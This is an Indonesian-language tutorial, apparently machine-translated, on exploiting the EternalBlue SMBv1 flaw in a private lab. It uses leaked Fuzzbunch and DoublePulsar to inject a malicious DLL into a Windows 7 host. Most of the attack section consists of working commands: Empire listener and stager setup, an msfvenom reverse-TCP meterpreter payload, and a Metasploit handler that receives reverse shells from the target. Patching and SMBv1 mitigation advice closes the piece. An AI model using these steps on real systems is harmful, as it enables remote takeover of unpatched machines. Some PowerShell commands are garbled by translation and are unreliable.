Mengeksploitasi Eternalblue untuk shell dengan Empire & Msfconsole - Otak Kita

Mengeksploitasi Eternalblue untuk shell dengan Empire & Msfconsole


OtakKita - Dalam tutorial ini kita akan mengeksploitasi kerentanan SMB menggunakan exploit Eternalblue yang merupakan salah satu exploit yang baru-baru ini dibocorkan oleh grup yang disebut Shadow Brokers. Eternalblue mengeksploitasi kerentanan eksekusi kode jauh di SMBv1 dan NBT melalui port TCP 445 dan 139. Pada saat penulisan ini menargetkan berbagai sistem operasi Windows, dari Windows XP hingga Windows Server 2012. Eksploitasi yang tersedia saat ini tidak menargetkan Windows 10 dan Windows Server 2016 tetapi kemungkinan besar akan dalam waktu dekat ketika mereka sedang dimodifikasi.

Eternalblue hanyalah salah satu eksploit Windows yang bocor ke publik pada Jumat 14 April oleh Shadow Brokers. 'Seri' abadi mencakup lebih banyak eksploitasi seperti Eternalromance, Eternalchampion dan Eternalsynergy yang semuanya menargetkan sistem operasi Windows terbaru. Untuk mengkonfigurasi dan mengeksekusi eksploitasi terhadap target yang rentan ada kerangka kerja eksploitasi termasuk disebut Fuzzbunch. Fuzzbunch dikembangkan dalam Python 2.6 dan memiliki banyak kesamaan dengan kerangka kerja Metasploit. Dalam langkah-langkah berikut ini, kami akan menginstal prasyarat, mengatur Fuzzbunch, dan mempelajari cara memasang Eternalblue terhadap target yang rentan. Hasilnya akan menjadi shell terbalik pada mesin Windows 7 menggunakan Empire & Meterpreter.
Eternalblue digunakan dalam ransomware

Karena eksploitasi Eternalblue telah bocor, kerentanan SMBv1 telah digunakan dalam sejumlah besar serangan ransomware seperti: WannaCry, Petya dan NotPetya. Malware NotPetya kemudian diklasifikasikan sebagai penghapus file-scrambling yang berpura-pura menjadi ransomware dengan menuntut tebusan 300 USD dalam bentuk Bitcoin. Yang benar adalah bahwa begitu proses pengacakan file selesai, tidak ada cara untuk membalikkan proses ini. NotPetya dibangun untuk menghancurkan, bukan untuk memeras korban. Untuk memaksimalkan kerusakan NotPetya tidak hanya menghancurkan file pada host korban tetapi juga memiliki kemampuan untuk menyebar melalui jaringan dan internet. Malware berusaha untuk mendapatkan akses administrator dengan menggunakan alat dan teknik yang telah digunakan oleh pentester untuk waktu yang lama. Beberapa alat ini adalah versi modifikasi dari Mimikatz, PsExec dan WMIC. Tidak seperti beberapa versi WannaCry, malware NotPetya tidak memiliki tombol mematikan. Salah satu cara untuk mencegah proses pengacakan file sebelum infeksi adalah dengan membuat file read-only berikut: C: \ Windows \ perfc.dat. File ini akan mengurangi bagian pengacakan file dari malware tetapi tidak akan mencegahnya menyebar melalui jaringan.

Menyiapkan Fuzzbunch dan menginstal prasyarat

Untuk tujuan pengujian kami akan menggunakan pengaturan lab pribadi yang berisi mesin-mesin berikut:

  •     Windows 7 64-bit sebagai host yang rentan. IP: 10.11.1.253
  •     Windows 7 sebagai mesin serangan Windows yang menjalankan Fuzzbunch. IP: 10.11.1.251
  •     Kali Linux sebagai mesin serangan kedua yang menjalankan framework Empire. IP: 10.11.1.16

Sebelum kita dapat mulai mengeksploitasi host target di jaringan lab, kita perlu menginstal beberapa prasyarat pada mesin serangan Windows 7 dan Kali Linux Machine.
Menginstal prasyarat pada mesin Windows 7

Pada mesin serangan Windows 7 kita perlu menginstal Python 2.6 dan PyWin32 v212. File instalasi dapat diunduh di sini:

Python 2.6: https://www.python.org/download/releases/2.6/

PyWin32 v212: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/

Ikuti langkah-langkah instalasi untuk Python terlebih dahulu dan kemudian untuk PyWin32. Pastikan bahwa Anda menginstal PyWin32 sebagai administrator, jika tidak, Anda mungkin mendapatkan kesalahan dari menjalankan skrip post-install. Jika Anda perlu menjalankan skrip post-install lagi, skrip ini terletak di direktori berikut:

    C: \ Python26 \ Script

Menginstal Empire Framework pada mesin Kali Linux

Pada mesin Kali Linux kita perlu menginstal framework Empire yang tersedia dari Github:

Empire Framework: https://github.com/EmpireProject/Empire

Menginstal Empire Framework pada Kali Linux sangat sederhana, jalankan saja skrip ./setup/install.sh yang akan menginstal beberapa dependensi lalu jalankan ./empire untuk memulai Empire.


Setting Up Fuzzbunch

Langkah selanjutnya adalah mengunduh dump Shadow Brokers dan membuka paketnya ke Desktop. Ketika Anda mengunduh dump dari Github, Anda harus membuat folder baru bernama ‘Listeningspost’ di direktori windows yang berisi file fb.py (Fuzzbunch).


Terakhir edit file konfigurasi Fuzzbunch bernama fuzzbunch.xml dan atur parameter ResourcesDir dan LogDir yang sesuai:
Pengaturan Fuzzbunch


Sekarang kita dapat meluncurkan Fuzzbunch dengan mengeksekusi file fb.py dari baris perintah dan itu harus dijalankan tanpa kesalahan:


Jika Anda menerima kesalahan tentang kehilangan DLL atau impor, pastikan bahwa PyWin32 diinstal dengan benar dan skrip pasca-pemasangan selesai dengan sukses.
Mengkonfigurasi dan menjalankan Eternalblue

Sekarang kita telah menginstal semuanya dan Fuzzbunch menjalankannya membutuhkan target dan alamat IP panggilan-kembali. Alamat target adalah IP dari host target rentan yang akan 10.11.1.252 (Mesin Windows 7 Rentan) dalam situasi lab kami. IP panggilan balik akan menjadi alamat IP host serangan Windows 7.
Target Fuzzbunch


Maka kita perlu menentukan beberapa parameter yang berkaitan dengan pengalihan & masuk dan membuat proyek baru di Fuzzbunch. Kami tidak akan menggunakan pengalihan jadi ketik ‘tidak’ dan tekan enter untuk melanjutkan. Jadikan lokasi logging default dengan menekan enter.

Kemudian buat proyek baru dengan memilih opsi 4 (atau 0 ketika tidak ada proyek yang ada) dan beri nama apa pun yang Anda suka. Kemudian pilih untuk menggunakan lokasi logging standar untuk proyek baru Anda. Kemudian kita perlu menentukan beberapa parameter yang berkaitan dengan pengalihan & logging dan membuat proyek baru di Fuzzbunch. Kami tidak akan menggunakan pengalihan jadi ketik ‘tidak’ dan tekan enter untuk melanjutkan. Jadikan lokasi logging default dengan menekan enter. Kemudian buat proyek baru dengan memilih opsi 4 (atau 0 ketika tidak ada proyek yang ada) dan beri nama apa pun yang Anda suka. Kemudian pilih untuk menggunakan lokasi logging standar untuk proyek baru Anda.


Untuk mendapatkan ikhtisar tentang plugin yang dimuat / exploit, ketikkan perintah ‘gunakan’. Ini akan menampilkan semua plugin yang tersedia yang dimuat Fuzzbunch selama startup, termasuk Eternalblue. Untuk memilih plugin Eternalblue ketik perintah berikut:

    use Eternalblue


Fuzzbunch sekarang bertanya kepada kami apakah kami ingin diminta untuk pengaturan variabel, pilih ya. Fuzzbunch sekarang akan meminta kita untuk semua pengaturan variabel. Pilih opsi default untuk semua pengaturan kecuali untuk 1 opsi dan itu adalah opsi mekanisme pengiriman. Pilih opsi 1 'FB' sebagai mekanisme pengiriman:


Akhirnya akan bertanya kepada kami apakah kami ingin menjalankan plugin:


Plugin sekarang akan dieksekusi dan jika semuanya berjalan dengan sukses Fuzzbunch akan menampilkan bahwa Eternalblue berhasil:


Mengkonfigurasi Empire Listener dan reverse shell DLL

Langkah selanjutnya adalah mengatur pendengar di Empire dan menghasilkan file DLL berbahaya yang berisi shell terbalik. Pertama kita akan membuat pendengar menggunakan perintah berikut pada baris perintah Empire:

     listeners

    set Name Eternalblue

    set Host http://10.11.1.16

    set Port 4444

    execute

Akhirnya Anda dapat menggunakan perintah daftar untuk mencetak pendengar aktif ke terminal:


Sekarang kita memiliki pengaturan pendengar untuk mencegat shell terbalik. Yang tersisa sekarang adalah membuat DLL jahat dan menyuntikkannya ke host Windows 7 yang rentan. Gunakan perintah berikut untuk menghasilkan file DLL dengan Empire:

    usestager dll Eternalblue

    set Arch x64

    set OutFile /var/www/html/launcher.dll

    execute


File DLL sekarang disimpan di direktori root web. Untuk mentransfer DLL ke kotak serangan Windows 7, cukup jalankan server web Apache dengan perintah berikut:

    service apache2 start

Sekarang kita dapat mengunduh file DLL dari mesin serangan Windows 7 dengan browser web. Mari kita simpan file launcher.dll di folder windows.
Msfvenom DLL berbahaya

Anda juga dapat membuat DLL jahat dengan msfvenom dan menyiapkan pendengar menggunakan multi-handler:

    msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 –platform windows -f dll LHOST=192.168.1.16 LPORT=4444 > /var/www/html/launcher.dll

Perintah ini akan berhasil menghasilkan payload meterpreter dengan msfvenom:
Eksploitasi Eternalblue dengan payload Meterpreter


DoublePulsar

Langkah selanjutnya adalah menjalankan DoublePulsar dan menyuntikkan file jahat launcher.dll. Ketik perintah berikut di Fuzzbunch untuk menggunakan DoublePulsar:

    use DoublePulsar


Di laboratorium praktik pribadi kami, kami menargetkan instalasi Windows 7 yang rentan 64-bit. Dalam hal ini kita perlu mengubah pengaturan default untuk arsitektur ke 64 bit dan menjaga semua variabel lain default sampai kita mencapai Pengaturan fungsi.


Alih-alih opsi default untuk variabel Function, kami memilih untuk menyuntikkan dan menjalankan DLL. Anda mungkin sudah menebak bahwa kami menyuntikkan DLL jahat yang kami hasilkan dengan Empire sebelumnya. Pilih opsi 2 dari pengaturan fungsi:


Kemudian kita perlu memasukkan lokasi file DLL dan beberapa opsi lain yang dapat kita tinggalkan sebagai default.


Pilih opsi default untuk semua pengaturan variabel lainnya hingga Fuzzbunch bertanya kepada kami apakah kami ingin menjalankan DoublePulsar:


Jika semua berjalan dengan sukses, outputnya harus seperti berikut:


Ketika kita beralih ke Kali Linux VM yang menjalankan pendengar Empire kita harus memiliki shell terbalik dari host target yang kita tidak dapat berinteraksi dengan:


Beralih dari shell Empire ke Meterpreter di Metasploit

Mari kita lihat apakah kita bisa beralih dari shell Empire ke Metasploit Meterpreter. Jalankan perintah berikut untuk mengatur pendengar:

   use exploit/multi/handler

    set payload windows/meterpreter/reverse_https

    set lhost 10.11.1.16

    set lport 5555

    run

Sekarang multi handler sedang berjalan, kembalilah ke Empire dan jalankan perintah berikut:

    usemodule code_execution/invoke_shellcode

    set Lhost 10.11.1.16

    set Lport 5555

    execute


Ketika kami kembali ke Metasploit, kami seharusnya menerima shell Meterpreter:


Penambalan dan Mitigasi

Eternalblue telah ditambal oleh Microsoft pada Maret 2017. Jika Anda belum menginstal tambalan itu, sangat disarankan untuk melakukannya dalam jangka pendek. Metode lain yang efektif adalah menonaktifkan SMBv1 pada mesin Windows Anda.

Untuk menonaktifkan SMBv1 pada Windows 8 & Windows Server 2012, buka Windows Powershell dan jalankan perintah berikut untuk menonaktifkan SMBv1:

    Set-SmbServerConfiguration -EnableSMB1Protocol $ false

Gunakan perintah berikut untuk memeriksa apakah SMBv1 dinonaktifkan:

    Get-SmbServerConfiguration | Pilih EnableSMB1Protocol, EnableSMB2Protocol


Jalankan cmdlet berikut di PowerShell untuk menonaktifkan SMBv1 pada Windows 7, Windows Server 2008 R2, Windows Vista, dan Windows Server 2008:

    Set-ItemProperty -Path “HKLM: \ SYSTEM \ CurrentControlSet \ Services \ LanmanServer \ Parameter” SMB1 -Tipe DWORD -Nilai 0 -Paksa

Pelajaran yang dipetik

Dari tutorial ini, kami telah belajar cara mengeksploitasi kerentanan di SMBv1 dari jarak jauh dengan Eternalblue. Meskipun Eternalblue sedikit lebih sulit untuk dieksploitasi daripada MS08-067 hasilnya tetap sama. Dalam tutorial ini, kami telah menunjukkan betapa mudahnya untuk mengeksploitasi Windows 7 dan mendapatkan shell root. Informasi lebih lanjut tentang Eternalblue dapat ditemukan di situs web CVE di bawah CVE-2017-0143 dan di Microsoft Security Bulletin MS17-010.

Kami harap tutorial ini bermanfaat untuk tujuan pendidikan. Semoga kami menciptakan kesadaran mengapa memperbarui sistem Windows Anda secara teratur sangat penting dan mengapa tidak bijaksana untuk menggunakan teknologi lama seperti SMBv1 saat ini. Pelajaran lain yang dipelajari di sini adalah mengapa Anda tidak perlu mengekspos layanan SMB / RDP ke internet. Eksploitasi Eternalblue dari jarak jauh dimungkinkan melalui internet dan saat ini terjadi dalam skala besar dengan ransomware WanaCry dan NotPetya menginfeksi ribuan mesin.

Mari kita simpulkan pelajaran yang dipelajari dengan cepat:

  •     Patch Eternalblue dengan menginstal pembaruan Windows MS17-010.
  •     Nonaktifkan SMBv1.
  •     Mengisolasi sistem warisan dari jaringan yang tidak dapat ditambal.
  •     Jangan pernah mengekspos layanan SMB / RDP langsung ke internet.
  •     Buat file read-only berikut untuk mencegah proses pengacakan file NotPetya mulai: C: \ Windows \ perfc.dat

Dalam tutorial berikut kita akan melihat urutan eksploitasi yang dibocorkan oleh Broker Bayangan.

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel